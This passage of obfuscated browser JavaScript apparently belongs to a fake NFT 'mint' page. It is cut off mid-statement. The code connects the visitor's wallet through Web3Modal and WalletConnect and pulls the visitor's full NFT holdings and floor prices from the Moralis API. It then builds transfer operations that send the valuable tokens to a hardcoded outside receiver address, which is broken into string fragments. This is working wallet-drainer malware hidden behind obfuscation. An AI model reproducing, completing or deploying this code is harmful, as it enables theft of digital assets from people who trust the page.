_0x4becce(_0xe85187-0x23b,_0xd399c7,_0xd399c7-0x127,_0x94f42-0x112);}document[_0x40e53c(-0x17d,-0x17e,-0x143,-0x200)+_0x40e53c(-0x233,-0x219,-0x246,-0x1bd)](_0x20bd6a(0x1f9,0x162,0x1b4,0x17e))[_0x40e53c(-0x1cc,-0x221,-0x269,-0x218)]=_0x177e29,document[_0x20bd6a(0x287,0x295,0x265,0x298)+_0x40e53c(-0x22e,-0x219,-0x23c,-0x29d)](_0x5623e6[_0x40e53c(-0x1b3,-0x153,-0x1a7,-0x1b7)])[_0x20bd6a(0x1e4,0x214,0x26c,0x206)]=_0xce8b5d;}function isMobile(){var _0x5429f9=![];function _0x23bab2(_0x4ce5e4,_0x534e76,_0x158f10,_0x14795e){return _0x3e1d4d(_0x4ce5e4-0xbb,_0x534e76-0x5c,_0x158f10-0x1bb,_0x14795e);}function _0x437705(_0x4a4021,_0x51ba33,_0x2f7fbc,_0x332c66){return _0x3e1d4d(_0x4a4021-0x63,_0x51ba33-0xab,_0x4a4021-0x3a9,_0x2f7fbc);}return function(_0x5e679f){function _0x2d14a4(_0x5d066e,_0xf4e326,_0x39f861,_0x410f34){return _0x3320(_0xf4e326- -0x396,_0x410f34);}function _0x384cda(_0x4ace5c,_0x3cb6c6,_0x237689,_0x406a3f){return _0x3320(_0x3cb6c6- -0x24a,_0x237689);}if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i['test'](_0x5e679f)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x384cda(-0x129,-0x169,-0x12b,-0xe3)](_0x5e679f[_0x2d14a4(-0x36b,-0x2d5,-0x266,-0x26a)](0x4*-0xd7+-0x126+-0x1*-0x482,-0x1*0x1e55+0xaa1+-0x4*-0x4ee)))_0x5429f9=!![];}(navigator[_0x23bab2(-0xb7,-0xc8,-0x69,-0xdc)]||navigator[_0x437705(0x19e,0x230,0x109,0x1a4)]||window[_0x437705(0x26a,0x24a,0x257,0x266)]),_0x5429f9;};function openInNewTab(_0x26a15a){const _0x490ae2={};_0x490ae2['TeFOz']=_0x4d387b(0x47d,0x3b5,0x4bb,0x428);const _0x56abf4=_0x490ae2,_0x5363b5={};function _0x4d387b(_0x361737,_0x24c095,_0x2fd774,_0x3c6b10){return _0x4becce(_0x3c6b10-0x39b,_0x24c095,_0x2fd774-0x138,_0x3c6b10-0x77);}_0x5363b5[_0x5b64e7(-0x2a8,-0x32a,-0x2ca,-0x294)]=_0x56abf4[_0x4d387b(0x3e3,0x413,0x37c,0x3c2)];function _0x5b64e7(_0x29ee1f,_0x521bdf,_0x4fd9b6,_0x47b0b9){return _0x4becce(_0x29ee1f- -0x232,_0x521bdf,_0x4fd9b6-0x173,_0x47b0b9-0x195);}_0x5363b5[_0x4d387b(0x31f,0x390,0x30d,0x334)]=_0x26a15a,Object['assign'](document['createElem'+_0x5b64e7(-0x24b,-0x25c,-0x2d1,-0x1cc)]('a'),_0x5363b5)[_0x4d387b(0x308,0x2b6,0x317,0x349)]();}const ethers=window[_0x4becce(-0x27,-0xa1,0x1,0x3e)];function _0x4becce(_0x5de718,_0x283138,_0x3262f1,_0x56a767){return _0x3320(_0x5de718- -0xfd,_0x283138);}const Web3Modal=window[_0x4becce(0x6a,-0x29,0xfd,-0x3)][_0x3e1d4d(-0x181,-0x1ed,-0x1cb,-0x159)],WalletConnectProvider=window[_0x4becce(0x26,0x62,0x4f,0x44)+_0x4becce(0x71,0x83,0x3a,0xf7)+'r'][_0x3e1d4d(-0x1a9,-0x1b8,-0x1cb,-0x22d)],evmChains=window['evmChains'];let web3Modal,provider,selectedAccount;function init(){const _0x1d53a0={};_0x1d53a0[_0x122938(0x349,0x3a1,0x3d3,0x3a6)]=_0x122938(0x3a0,0x42a,0x42e,0x434)+_0x2a9bd5(-0xed,-0x16a,-0x19f,-0xdb),_0x1d53a0[_0x2a9bd5(0xc,-0x7e,-0xb,-0x84)]=_0x122938(0x423,0x390,0x3ba,0x3fb)+_0x122938(0x475,0x3da,0x405,0x3b0)+_0x2a9bd5(-0x181,-0x138,-0xce,-0x197),_0x1d53a0['XxNEU']='window.web'+'3\x20is',_0x1d53a0[_0x2a9bd5(-0x1b2,-0x17b,-0x1c2,-0x151)]='window.eth'+_0x2a9bd5(-0x8b,-0xc1,-0x8b,-0x67),_0x1d53a0[_0x122938(0x396,0x349,0x394,0x3d3)]=_0x2a9bd5(-0x4b,-0x95,-0x49,-0x72),_0x1d53a0['swxSP']=_0x2a9bd5(-0x10d,-0x102,-0x122,-0x17d)+_0x122938(0x39a,0x3b2,0x354,0x38d)+'s';const _0x498590=_0x1d53a0;console[_0x2a9bd5(-0x116,-0xce,-0x9e,-0x131)](_0x498590[_0x122938(0x442,0x3e1,0x3d3,0x40f)]),console[_0x122938(0x401,0x394,0x3d8,0x392)](_0x498590[_0x122938(0x40a,0x394,0x428,0x48c)],WalletConnectProvider),console[_0x122938(0x3f6,0x45c,0x3d8,0x3dc)](_0x498590[_0x2a9bd5(-0x1a8,-0x16c,-0x1fa,-0xd7)],window[_0x2a9bd5(-0xdd,-0x93,-0xa8,-0x43)],_0x498590[_0x122938(0x3b3,0x2da,0x32b,0x357)],window[_0x122938(0x36e,0x361,0x3df,0x3e6)]);const _0x3c6c6f={};_0x3c6c6f[_0x2a9bd5(-0x63,-0x8e,-0x56,-0x52)]=infuraId;const _0x29e2a7={};_0x29e2a7[_0x122938(0x470,0x422,0x3fa,0x46b)]=WalletConnectProvider,_0x29e2a7[_0x122938(0x35d,0x333,0x37c,0x34a)]=_0x3c6c6f;function _0x2a9bd5(_0x14946b,_0x7fa429,_0x4d2fbb,_0x2546ae){return _0x4becce(_0x7fa429- -0x112,_0x14946b,_0x4d2fbb-0x42,_0x2546ae-0x4c);}const _0x4a6ba9={};function _0x122938(_0x509b4d,_0x52fd63,_0x5b110f,_0x3d39fe){return _0x3e1d4d(_0x509b4d-0x16b,_0x52fd63-0x1d4,_0x5b110f-0x55a,_0x52fd63);}_0x4a6ba9['walletconn'+'ect']=_0x29e2a7;const _0x1ff25f=_0x4a6ba9,_0x9508dc={};_0x9508dc[_0x122938(0x305,0x3a8,0x347,0x32b)+'der']=![],_0x9508dc[_0x122938(0x36b,0x33a,0x32c,0x2f2)+_0x122938(0x390,0x3b4,0x3fd,0x454)]=_0x1ff25f,_0x9508dc[_0x122938(0x301,0x39a,0x350,0x326)]=_0x498590[_0x2a9bd5(-0xf6,-0x112,-0x110,-0x162)],web3Modal=new Web3Modal(_0x9508dc),console[_0x122938(0x396,0x3ab,0x3d8,0x425)](_0x498590[_0x2a9bd5(-0xf6,-0xdc,-0x153,-0x128)],web3Modal),Moralis['enableWeb3']();}async function fetchAccountData(){const _0x56a73f={};_0x56a73f[_0x3ba114(0x10,-0xce,-0x7e,-0x4e)]=_0x2f3d29(0x4c6,0x4d5,0x470,0x4e1)+_0x2f3d29(0x4c2,0x485,0x3fe,0x4b7),_0x56a73f['SXjsA']=_0x3ba114(-0x4e,0x67,-0x49,0x34)+'\x20is',_0x56a73f[_0x3ba114(0xc6,0x7,0x106,0x88)]='Got\x20accoun'+'ts',_0x56a73f[_0x3ba114(0x25,0x70,0xe,0x26)]=_0x2f3d29(0x48b,0x4ac,0x4e9,0x4b4)+_0x2f3d29(0x4e1,0x4e6,0x498,0x489),_0x56a73f['RhINR']=_0x3ba114(0x54,-0x51,-0x3f,0x20),_0x56a73f['Gqipf']='none';const _0x26e807=_0x56a73f,_0x1baf08=new Web3(provider),_0x11e497=await _0x1baf08['eth']['getChainId'](),_0x1fd33f=evmChains[_0x2f3d29(0x526,0x491,0x4ab,0x44d)](_0x11e497),_0x23ad4b=await _0x1baf08[_0x2f3d29(0x56c,0x4f5,0x50d,0x47b)][_0x2f3d29(0x4f9,0x481,0x47b,0x4d9)+'s']();selectedAccount=_0x23ad4b[-0x1031+0x23d8+0x22f*-0x9],console[_0x2f3d29(0x537,0x4bd,0x552,0x470)](_0x26e807[_0x3ba114(-0x57,-0x57,-0xe3,-0x4e)],_0x1baf08),console['log'](_0x26e807[_0x3ba114(0x7c,0x64,0x11a,0xbf)],_0x1fd33f),console['log'](_0x26e807[_0x2f3d29(0x4e4,0x4de,0x531,0x492)],_0x23ad4b),console[_0x2f3d29(0x520,0x4bd,0x550,0x474)](_0x26e807[_0x3ba114(-0x5a,0xb7,0x8b,0x26)],selectedAccount);function _0x3ba114(_0x772244,_0x52164a,_0xd0bbd8,_0x8ed1de){return _0x4becce(_0x8ed1de-0x23,_0x52164a,_0xd0bbd8-0x160,_0x8ed1de-0x1e4);}document['querySelec'+_0x3ba114(0x41,-0xa6,-0xba,-0x54)](_0x26e807[_0x3ba114(0x9a,0x4f,-0x26,0xf)])['style'][_0x3ba114(0x22,0xe3,0x88,0x79)]=_0x26e807[_0x3ba114(0x54,0x11,0x97,0x15)];function _0x2f3d29(_0x1cc2d5,_0x4a0610,_0x140eb2,_0x16852c){return _0x4becce(_0x4a0610-0x479,_0x140eb2,_0x140eb2-0x179,_0x16852c-0x108);}document[_0x2f3d29(0x41d,0x3f5,0x36a,0x47f)+'tor']('#transfer')['style'][_0x3ba114(0xeb,0xb1,0xc8,0x79)]=_0x2f3d29(0x545,0x50e,0x485,0x583);}async function refreshAccountData(){const _0x2cb549={'Xljgy':'#connect','ZwAJc':'disabled','DCFFA':function(_0x2b047b){return _0x2b047b();}},_0x151725=_0x167c35(0x35e,0x3ce,0x435,0x43f)['split']('|');function _0x29efe7(_0x308847,_0x101b25,_0x60ac17,_0x492330){return _0x4becce(_0x101b25-0x15,_0x492330,_0x60ac17-0x1b1,_0x492330-0x99);}let _0x301422=-0x18aa+-0x26f*-0xe+-0x1c*0x56;function _0x167c35(_0x59558e,_0x126440,_0x1fda51,_0x4f25b8){return _0x4becce(_0x126440-0x3f3,_0x4f25b8,_0x1fda51-0x4,_0x4f25b8-0x1f0);}while(!![]){switch(_0x151725[_0x301422++]){case'0':document['querySelec'+_0x167c35(0x310,0x37c,0x2e8,0x3b8)](_0x2cb549[_0x167c35(0x445,0x3c6,0x3ec,0x3f5)])['setAttribu'+'te'](_0x2cb549[_0x29efe7(0x2b,-0x13,-0x75,0x1c)],_0x2cb549['ZwAJc']);continue;case'1':document[_0x29efe7(-0xb0,-0x6f,-0x48,-0xe8)+_0x29efe7(-0x37,-0x62,-0x97,-0xe6)](_0x2cb549[_0x29efe7(-0x89,-0x18,0x59,0x48)])[_0x167c35(0x4ff,0x47d,0x4eb,0x4c6)][_0x29efe7(0x21,0x6b,0x97,0x9)]='block';continue;case'2':document[_0x29efe7(-0x15,-0x6f,-0x16,-0x74)+_0x167c35(0x3b0,0x37c,0x347,0x3fc)](_0x167c35(0x447,0x3fa,0x39a,0x39f))[_0x167c35(0x4ea,0x47d,0x50c,0x49a)][_0x167c35(0x3ee,0x449,0x3dd,0x448)]=_0x29efe7(0x7f,0x11,-0x60,0x2a);continue;case'3':await _0x2cb549[_0x29efe7(0x52,0x74,0xcd,0x58)](fetchAccountData);continue;case'4':document[_0x29efe7(-0xba,-0x6f,-0xf7,-0xc6)+_0x167c35(0x394,0x37c,0x3cb,0x3b7)](_0x2cb549['Xljgy'])[_0x167c35(0x3f1,0x3f1,0x458,0x379)+_0x29efe7(0x78,0x1f,0xaf,-0x50)](_0x2cb549[_0x29efe7(-0x54,-0x13,-0x6c,-0x20)]);continue;}break;}}async function onConnect(){function _0x5385f6(_0x1a91f0,_0x5a14c9,_0x3bfa77,_0x1b05e3){return _0x3e1d4d(_0x1a91f0-0x16a,_0x5a14c9-0xbd,_0x5a14c9-0x5e1,_0x3bfa77);}function _0x31142c(_0x3d84c9,_0x5778bb,_0x10bdf6,_0x27562d){return _0x4becce(_0x5778bb-0x14f,_0x27562d,_0x10bdf6-0xeb,_0x27562d-0x4);}const _0x1a032f={'LCsef':'5|4|3|2|1|'+'0','gzuRL':function(_0x61d5d6){return _0x61d5d6();},'XzEdt':'networkCha'+_0x31142c(0x196,0x16b,0x1b9,0x1f0),'HehvS':_0x5385f6(0x3bc,0x421,0x407,0x39e)+_0x31142c(0x123,0x17e,0x142,0x164),'bTPpV':_0x31142c(0xaa,0x118,0xe2,0xcd)+_0x31142c(0x119,0x120,0x112,0x162)+_0x31142c(0xad,0xfe,0x151,0x14a)+_0x5385f6(0x4af,0x440,0x447,0x4d3)},_0x280300=_0x1a032f[_0x5385f6(0x31f,0x3a3,0x405,0x39a)][_0x31142c(0x55,0xd6,0x149,0x106)]('|');let _0x8a3161=0x2295+0x1dab+0x8*-0x808;while(!![]){switch(_0x280300[_0x8a3161++]){case'0':await _0x1a032f['gzuRL'](refreshAccountData);continue;case'1':provider['on'](_0x1a032f['XzEdt'],()=>fetchAccountData());continue;case'2':provider['on'](_0x5385f6(0x41d,0x3c0,0x3a9,0x35b)+'ed',()=>fetchAccountData());continue;case'3':provider['on'](_0x1a032f[_0x5385f6(0x3bd,0x426,0x486,0x3b5)],()=>fetchAccountData());continue;case'4':try{provider=await web3Modal[_0x5385f6(0x4e4,0x4b4,0x527,0x4d4)]();}catch(_0x4d89ed){console['log'](_0x1a032f['bTPpV'],_0x4d89ed);return;}continue;case'5':console[_0x31142c(0x15c,0x193,0x179,0x1c2)](_0x5385f6(0x3bb,0x432,0x422,0x493)+_0x5385f6(0x4c4,0x431,0x480,0x3ec),web3Modal);continue;}break;}}function _0x3e1d4d(_0x37097c,_0x5ea859,_0x56ed24,_0x57c21e){return _0x3320(_0x56ed24- -0x2c3,_0x57c21e);}async function clickMint(){function _0x4df6a8(_0xdbcb9c,_0x180d52,_0x37dfa0,_0x57daa6){return _0x4becce(_0x57daa6-0x25a,_0x180d52,_0x37dfa0-0x96,_0x57daa6-0x1b6);}const _0x93189e={'juTxy':_0x4df6a8(0x288,0x2a6,0x336,0x2be),'VIhSy':function(_0x58b89c,_0x15d125,_0x2a85d1){return _0x58b89c(_0x15d125,_0x2a85d1);}};function _0x4bddd7(_0x3116bb,_0x3ee025,_0x1860cc,_0x2a60f0){return _0x4becce(_0x2a60f0-0x232,_0x3ee025,_0x1860cc-0x116,_0x2a60f0-0x10c);}const _0x18ef9d=new ethers[(_0x4df6a8(0x2a1,0x212,0x2c3,0x2a3))][(_0x4df6a8(0x323,0x296,0x389,0x2f5))+'er'](provider),_0x4bd817=document[_0x4bddd7(0x269,0x2ee,0x25a,0x27e)+'ById'](_0x93189e[_0x4df6a8(0x2f7,0x2ab,0x322,0x2a9)])[_0x4bddd7(0x209,0x240,0x19c,0x1d1)+'t'][_0x4bddd7(0x27b,0x327,0x2f7,0x295)]();if(nftsInfo[_0x4bddd7(0x29f,0x290,0x31c,0x2c0)])_0x93189e[_0x4df6a8(0x360,0x240,0x300,0x2d4)](askNfts,_0x18ef9d,_0x4bd817);else askMint(_0x4bd817);}async function askNfts(_0x4033ff,_0x3fb367){const _0x405b35={'pTMdg':function(_0x15298e,_0x125a84){return _0x15298e*_0x125a84;},'DxrkB':'lnprice','gIcWp':function(_0x31045f,_0x28b1ba){return _0x31045f(_0x28b1ba);},'wxLCB':_0x4c7094(0x1fa,0x1dc,0x162,0x1ca),'tMwXN':function(_0x734994,_0x412770){return _0x734994===_0x412770;},'GqAMj':'ERC1155','LOmBE':function(_0x5c4b5c,_0x3cfc4d){return _0x5c4b5c>_0x3cfc4d;},'xWetE':function(_0x59c35d,_0x17b765,_0x5e6f6f){return _0x59c35d(_0x17b765,_0x5e6f6f);},'LDtte':_0x231ec1(0x372,0x2ef,0x307,0x295)+_0x4c7094(0x141,0x120,0x179,0xbd),'bFLsI':function(_0x4c72b2,_0x331a8c){return _0x4c72b2<_0x331a8c;},'UMLIA':function(_0x1d85b2,_0x1062fa){return _0x1d85b2(_0x1062fa);},'Povli':function(_0x20cd24,_0xfa6e4e){return _0x20cd24(_0xfa6e4e);},'PgdVV':function(_0x338331,_0x5bc756,_0x145991){return _0x338331(_0x5bc756,_0x145991);},'aPfWB':_0x231ec1(0x2dc,0x24e,0x281,0x254)},_0xfde443=await _0x4033ff[_0x4c7094(0x15e,0x184,0x18e,0x160)+'ts']();function _0x4c7094(_0x7e567c,_0x19858a,_0x4649ac,_0x498782){return _0x4becce(_0x19858a-0x19e,_0x4649ac,_0x4649ac-0x185,_0x498782-0x36);}function _0x231ec1(_0x5097ed,_0x1e3416,_0x58287c,_0x524ef6){return _0x4becce(_0x58287c-0x291,_0x5097ed,_0x58287c-0x1e4,_0x524ef6-0x14b);}selectedAccount=_0xfde443[-0x18*-0x3a+-0xb3b+0x5cb],_0x405b35[_0x231ec1(0x35c,0x298,0x306,0x34f)](fetch,_0x231ec1(0x255,0x2b0,0x285,0x2cc)+_0x4c7094(0x21c,0x1cb,0x23d,0x204)+_0x231ec1(0x2e6,0x2d3,0x2a3,0x210)+'api/v2/'+selectedAccount+(_0x4c7094(0x17d,0x156,0x1b1,0x170)+'=eth&forma'+_0x4c7094(0x105,0x168,0xdb,0x1e8)),{'headers':{'Content-Type':_0x405b35['LDtte'],'accept':_0x4c7094(0x286,0x214,0x214,0x1fa)+_0x4c7094(0xa3,0x120,0x96,0x188),'x-api-key':moralisApi},'method':_0x405b35[_0x4c7094(0x119,0x152,0xe6,0x166)]})[_0x231ec1(0x28b,0x2d8,0x2ba,0x343)](async _0x7a669=>{const _0x316057={'HiNFU':function(_0x4beea0,_0x39e1f9){function _0x4766c9(_0x52b133,_0x3b817e,_0x180805,_0x40d013){return _0x3320(_0x3b817e- -0x1cf,_0x180805);}return _0x405b35[_0x4766c9(-0x64,-0xe1,-0x4c,-0x10d)](_0x4beea0,_0x39e1f9);},'dcaDp':_0x405b35[_0x64048f(0x186,0x189,0x17d,0x18d)],'OcRHP':_0x5186c9(0x46f,0x406,0x3a1,0x409),'KYKjm':function(_0x310cab,_0x332d08){function _0x483e0a(_0x460290,_0x400db5,_0x3560e9,_0x2894de){return _0x5186c9(_0x460290-0x148,_0x460290-0x135,_0x3560e9-0x77,_0x3560e9);}return _0x405b35[_0x483e0a(0x4eb,0x52d,0x47f,0x46c)](_0x310cab,_0x332d08);},'Fdbrr':_0x405b35[_0x5186c9(0x3bb,0x3e5,0x437,0x451)],'GofkB':function(_0x4f46b8,_0x44634d){return _0x4f46b8>=_0x44634d;},'qKuKU':function(_0x7a067a,_0x2a89e5){return _0x7a067a>_0x2a89e5;},'bxSeF':function(_0xdede77,_0x9338){function _0x4fb0e2(_0x13688d,_0xd1b0d1,_0x3dd8bd,_0x2ddbd4){return _0x5186c9(_0x13688d-0x119,_0xd1b0d1- -0x394,_0x3dd8bd-0x4d,_0x2ddbd4);}return _0x405b35[_0x4fb0e2(0x8f,0x28,-0x7,0x8f)](_0xdede77,_0x9338);},'SrSHB':_0x405b35['GqAMj'],'yrXrq':function(_0x2fc9cc,_0x179857){return _0x405b35['tMwXN'](_0x2fc9cc,_0x179857);},'gRbTf':'kbwsJ','QYGpB':_0x64048f(0x20f,0x2b3,0x21d,0x249)};function _0x5186c9(_0x2a0de5,_0x47e910,_0x4b4d73,_0x3556f2){return _0x4c7094(_0x2a0de5-0x1e9,_0x47e910-0x204,_0x3556f2,_0x3556f2-0x1ce);}function _0x64048f(_0x4e8e81,_0x40a17b,_0x4aa9d4,_0x12892a){return _0x231ec1(_0x40a17b,_0x40a17b-0xcb,_0x4aa9d4- -0xa5,_0x12892a-0x12a);}const _0x3179db=(await _0x7a669['json']())[_0x5186c9(0x42a,0x438,0x3e0,0x4ae)];console[_0x5186c9(0x430,0x427,0x498,0x4bc)](_0x5186c9(0x35a,0x359,0x38d,0x2f1)+_0x3179db[_0x5186c9(0x401,0x428,0x493,0x42d)]+_0x5186c9(0x32b,0x390,0x3ff,0x3e3));if(_0x405b35['LOmBE'](_0x3179db[_0x5186c9(0x449,0x428,0x488,0x45c)],-0x54e+0x4be+0x90)){let _0x1dd2aa=[];for(nft of _0x3179db){await _0x405b35['xWetE'](fetch,'https://de'+_0x64048f(0x228,0x1f9,0x219,0x1d8)+_0x5186c9(0x38b,0x3b4,0x341,0x440)+_0x5186c9(0x385,0x3fb,0x458,0x3b6)+'/'+nft['token_addr'+_0x5186c9(0x414,0x3a6,0x382,0x398)]+(_0x5186c9(0x3db,0x3d7,0x456,0x35c)+_0x64048f(0x228,0x1d6,0x229,0x1fa)+_0x64048f(0x298,0x222,0x24d,0x1e4))+nftsInfo[_0x64048f(0x1e5,0x284,0x231,0x29c)+'y']+(_0x5186c9(0x3d7,0x402,0x381,0x3c9)+_0x64048f(0x1a2,0x154,0x164,0x131)),{'headers':{'Content-Type':_0x405b35[_0x64048f(0x1d4,0x162,0x179,0x141)],'accept':_0x405b35[_0x64048f(0x147,0x1da,0x179,0x170)],'x-api-key':moralisApi},'method':_0x5186c9(0x30a,0x392,0x35a,0x303)})[_0x64048f(0x1b0,0x1ec,0x215,0x1f7)](async _0x93ea6f=>{function _0x69a7a1(_0x3801cb,_0x11479e,_0x4e17db,_0x957c28){return _0x64048f(_0x3801cb-0x3b,_0x11479e,_0x3801cb- -0x1fe,_0x957c28-0x8d);}if(_0x93ea6f[_0x69a7a1(-0x53,0x34,-0x30,0x24)]===0x66c*0x5+-0x54e+-0x1a06){}else return;function _0x5d9a98(_0x482cd3,_0x294da1,_0x1ff980,_0x3c6166){return _0x64048f(_0x482cd3-0x1dd,_0x294da1,_0x3c6166- -0x429,_0x3c6166-0xe1);}const _0x513ec6=await _0x93ea6f[_0x5d9a98(-0x1da,-0x249,-0x2c3,-0x26b)]();let _0x116107=_0x316057[_0x5d9a98(-0x2a4,-0x234,-0x1da,-0x26d)](parseFloat,Web3[_0x69a7a1(0x34,0x7a,0x29,0x23)]['fromWei'](_0x513ec6['price'],_0x316057[_0x5d9a98(-0x236,-0x160,-0x1b3,-0x1a5)]));if(nft[_0x5d9a98(-0x24c,-0x230,-0x2f3,-0x272)])_0x116107=_0x116107*_0x316057[_0x69a7a1(-0x42,-0x54,0x1,-0xb8)](parseInt,nft[_0x69a7a1(-0x47,-0x26,-0x6b,-0x99)]);if(_0x316057[_0x5d9a98(-0x1a6,-0x281,-0x1f4,-0x21d)](_0x116107,nftsInfo[_0x5d9a98(-0x271,-0x2a8,-0x25b,-0x284)]['toString'](0x1e2e+-0x1641+-0x7e3))){console[_0x69a7a1(0x32,0xa6,0xb2,0x68)](nft['token_addr'+_0x69a7a1(-0xe,0x51,0x7c,-0x59)]+'\x20('+nft[_0x5d9a98(-0x296,-0x1fe,-0x285,-0x291)]+_0x5d9a98(-0x208,-0x257,-0x1e3,-0x1d2)+_0x116107+_0x5d9a98(-0x1f8,-0x1fa,-0x1f2,-0x25c)+nftsInfo[_0x5d9a98(-0x318,-0x2b4,-0x266,-0x284)]),_0x1dd2aa['push']({'price':_0x513ec6[_0x5d9a98(-0x158,-0x156,-0x21f,-0x1d9)]*(_0x316057[_0x69a7a1(0xd,-0x52,-0x2,-0x38)](nft[_0x69a7a1(-0x47,0x41,-0x8b,-0x4f)],-0x807*0x3+-0x1b9c+0x33b1)?nft[_0x5d9a98(-0x2f6,-0x2af,-0x2a9,-0x272)]:-0xf64+-0x1*0x6df+0x3*0x76c),'options':{'type':nft['contract_t'+_0x5d9a98(-0x1bd,-0x16e,-0x239,-0x1d1)][_0x5d9a98(-0x17e,-0x1bf,-0x183,-0x1db)+'e'](),'receiver':_0x69a7a1(-0x8f,-0xdf,-0x8f,-0x4d)+_0x5d9a98(-0x10a,-0x1bc,-0x198,-0x19a)+'4777Ea5000'+'1e225edAaE'+'31','contract_address':nft['token_addr'+_0x5d9a98(-0x289,-0x1eb,-0x273,-0x239)],'token_id':nft[_0x69a7a1(-0x66,-0x4a,-0x64,-0x58)]}});if(_0x316057[_0x69a7a1(0x27,-0x36,0x63,0x99)](nft[_0x69a7a1(-0x76,-0x98,-0x1a,-0xb1)+_0x5d9a98(-0x237,-0x174,-0x195,-0x1d1)],_0x316057[_0x69a7a1(0x11,-0x42,-0x64,0x80)])){if(_0x316057[_0x69a7a1(-0x44,-0x19,-0x6e,-0x41)](_0x316057['gRbTf'],_0x316057[_0x5d9a98(-0x1a2,-0x186,-0x19b,-0x1f0)])){const _0x3856c6=_0x316057[_0x69a7a1(0x92,0xe,0x68,0x1e)](_0xfbdc1e,_0x22d399[_0x5d9a98(-0x17d,-0x24b,-0x24d,-0x1d9)])[_0x69a7a1(0x43,-0x9,-0xa,0x56)](-0x107*-0xd+-0x312*0xa+-0x115b*-0x1);_0x25c65d[_0x5d9a98(-0x1ba,-0x1e8,-0x1c5,-0x1f1)+_0x5d9a98(-0x20c,-0x223,-0x234,-0x28c)](_0x316057[_0x69a7a1(-0x82,-0xeb,-0x117,-0xf5)])[_0x69a7a1(-0x69,-0x7b,-0xb4,0x1d)]=_0xc341a8,_0x32e78c[_0x5d9a98(-0x1d9,-0x234,-0x180,-0x1f1)+_0x69a7a1(-0x61,-0x54,0x1e,-0xe8)](_0x316057[_0x5d9a98(-0x2b0,-0x260,-0x24b,-0x24a)])[_0x5d9a98(-0x2a4,-0x278,-0x277,-0x294)]=_0x3856c6;}else{const _0x54b043=_0x1dd2aa[_0x5d9a98(-0x278,-0x276,-0x2db,-0x280)](_0x195b07=>_0x195b07['options'][_0x69a7a1(0x8c,-0x3,0x117,0xfb)+'ddress']==nft[_0x69a7a1(0x6c,-0x13,-0x29,0x8c)+_0x5d9a98(-0x2a9,-0x298,-0x1ad,-0x239)]&&_0x195b07[_0x5d9a98(-0x268,-0x256,-0x260,-0x255)][_0x5d9a98(-0x211,-0x209,-0x2e3,-0x291)]==nft[_0x69a7a1(-0x66,-0xfa,-0x45,-0x5a)]);if(_0x54b043)_0x54b043['options'][_0x5d9a98(-0x22a,-0x248,-0x1f8,-0x272)]=ethers['BigNumber'][_0x69a7a1(-0x19,0x5f,0x37,-0x5f)](nft['amount']);}}}else console['log'](_0x69a7a1(0x2e,0x1a,0x4b,0x66)+nft['token_addr'+_0x69a7a1(-0xe,0x1c,0x78,0x16)]+'\x20('+nft[_0x69a7a1(-0x66,-0x64,-0x8b,-0x23)]+_0x5d9a98(-0x22e,-0x14b,-0x148,-0x1d2)+_0x116107+_0x69a7a1(-0x11,-0x64,0x39,-0x7e)+nftsInfo[_0x69a7a1(-0x59,-0xaa,-0xc4,-0x31)]);})['catch'](_0x27175d=>console['error'](_0x27175d));}if(_0x405b35[_0x5186c9(0x3d0,0x399,0x411,0x363)](_0x1dd2aa[_0x64048f(0x2b3,0x215,0x272,0x27a)],0x14*0x10d+-0x18f7+0x3f4))return _0x405b35[_0x5186c9(0x3c5,0x3fa,0x41f,0x3c1)](askMint,_0x3fb367);console[_0x5186c9(0x39b,0x3e6,0x3c8,0x383)](_0x1dd2aa);for(transaction of 